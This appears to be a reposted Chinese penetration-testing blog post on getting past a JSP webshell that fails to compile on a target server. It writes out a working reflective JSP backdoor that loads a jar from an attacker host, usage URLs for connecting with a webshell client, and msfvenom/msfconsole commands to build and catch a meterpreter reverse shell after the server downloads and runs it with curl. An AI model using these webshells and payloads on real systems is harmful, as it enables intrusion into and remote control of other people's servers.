上传JSP马编译报错继续渗透tips
2019-10-8 12:3:59 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

0x01 写在前面

前段时间有个站点,上传的jsp马不能执行,编译报错。之前也有过类似场景,感觉是个通用问题,记录下。

情况如下:

  • 菜刀马、冰蝎马、大马,均不能执行(编译报错);

  • 幸运的是可以上传jsp_cmd 小马 执行系统命令

  • 主机联网,但通过bash -i 反弹不了交互式shell

目标如下:

  • 突破限制,获得菜刀马?

  • 突破限制,获得交互式系统shell?

  • PS:当然对于漏洞来讲,cmd shell可以证明问题,权限大也可以直接rm -rf  /,但非初衷,对于渗透来讲,还需要更加深入。

编译报错信息如下,原因有可能是JDK版本不匹配,但可以确定是服务端问题。

利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。(园长之前有写)

  • 上传反射马到目标服务器

  • 在自己的VPS上传cat.jar

反射马

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

利用方式:

http://x.x.x.x:8161/api/yuan.jsp?u=http://attackIP/Cat.jar&023=A

可以使用菜刀连接(如果有认证,需要给菜刀加cookie)

连接地址:http://x.x.x.x:8161/api/yuan.jsp?u=http://attackIP/Cat.jar密码023

详情细节可参考:园长的博客 jsp小后门:http://p2j.cn/?p=1627

0x03 突破限制获得交互式系统shell

虽然有cmd shell 命令执行马,但当时的两个瓶颈点,bash -i 无法直接反弹,wget无法直接使用。所以最终使用了curl 下载msf 的二进制马。

  • 用msfvenom生成二进制马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attackVPSip  LPORT=8082 -f elf > shell.elf

  • meterpreter监听

msfconsole

use exploit/multi/handler

set PAYLOAD  linux/x86/meterpreter/reverse_tcp

set LHOST attackVPSip

set LPORT 8082

exploit -j -z

  • 目标服务器cmdshell使用curl -O 可以将远程附件保存到服务器上并执行。

  • 反弹上线

更多msf payload 相关可参考:

http://www.myh0st.cn/index.php/archives/67/


文章来源: https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247483720&idx=1&sn=9f763e2765ffe83dcde9e81027ab8247&chksm=fb6e19b6cc1990a04630633e7cd60368afcab40df62546b08daaacc474e04c0390ba07416986&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh